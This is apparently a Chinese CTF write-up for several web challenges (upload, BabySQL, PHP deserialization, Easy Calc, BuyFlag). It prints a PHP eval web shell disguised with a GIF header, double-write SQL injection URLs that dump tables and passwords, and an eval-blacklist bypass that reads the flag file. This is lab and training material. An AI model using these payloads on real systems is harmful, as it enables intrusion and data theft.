目录
[极客大挑战 2019]Upload
先上传一个图片,图片内容为
GIF89a? <script language="php">eval($_REQUEST[111])</script>
然后连接蚁剑,得到flag
[ACTF2020 新生赛]Upload
和上一题一样
[极客大挑战 2019]BabySQL
试试万能密码,发现不行
试试双写
发现可以,这题应该就是要双写。
/check.php?username=admin&password=1 ' oorrder bbyy 4 %23
/check.php?username=admin&password=1 ' ununionion seselectlect 1,2,database() %23
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(schema_name)frfromom
(infoorrmation_schema.schemata) %23
/check.php?username=admin&password=1 ' uunionnion sselectelect 1,database(),group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database() %23
/check.php?username=admin&password=1 ' uunionnion sselectelect 1,database(),group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql' %23
/check.php?username=-1&password=1234' uunionnion sselectelect 1,database(),group_concat(id,username,passwoorrd) frfromom b4bsql;%23
[极客大挑战 2019]PHP
访问www.zip,得到一个压缩文件,打开index.php,得到一串代码
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin', 100);
var_dump(serialize($a));
?>
dirsearch的安装
先进入超级用户
sudo su
然后更新
apt-get update
我在更新时,一直在报错
执行下面命令
wget https://http.kali.org/kali/pool/main/k/kali-archive-keyring/kali-archive-keyring_2022.1_all.deb --no-check-certificate
apt install ./kali-archive-keyring_2022.1_all.deb
然后在更新。
之后执行
apt-get install dirsearch
[ACTF2020 新生赛]BackupFile
使用下面的命令
dirsearch -u url
访问一下这个文件
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
是一个弱比较,只需要构造key等于123即可。
[RoarCTF 2019]Easy Calc
查看页面源代码,发现一个calc.php,访问一下,得到
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
上面显示了一些黑名单,没过滤字母和数字。
?num=print_r(scandir(chr(47)))
?num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
[极客大挑战 2019]BuyFlag
查看页面源代码,点击一下pay.php
得到
<!--
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
-->
需要传入money和password两个参数。password==404,password必须是字符串
money=100000000.
我们还需要变成这个cuit
将cookie里的user改为1,传入post参数:password=404aa&money=100000000,提示money的长度太长。
参考[极客大挑战 2019]BuyFlag_HasntStartIsOver的博客-CSDN博客
传入参数password=404aa&money[]=1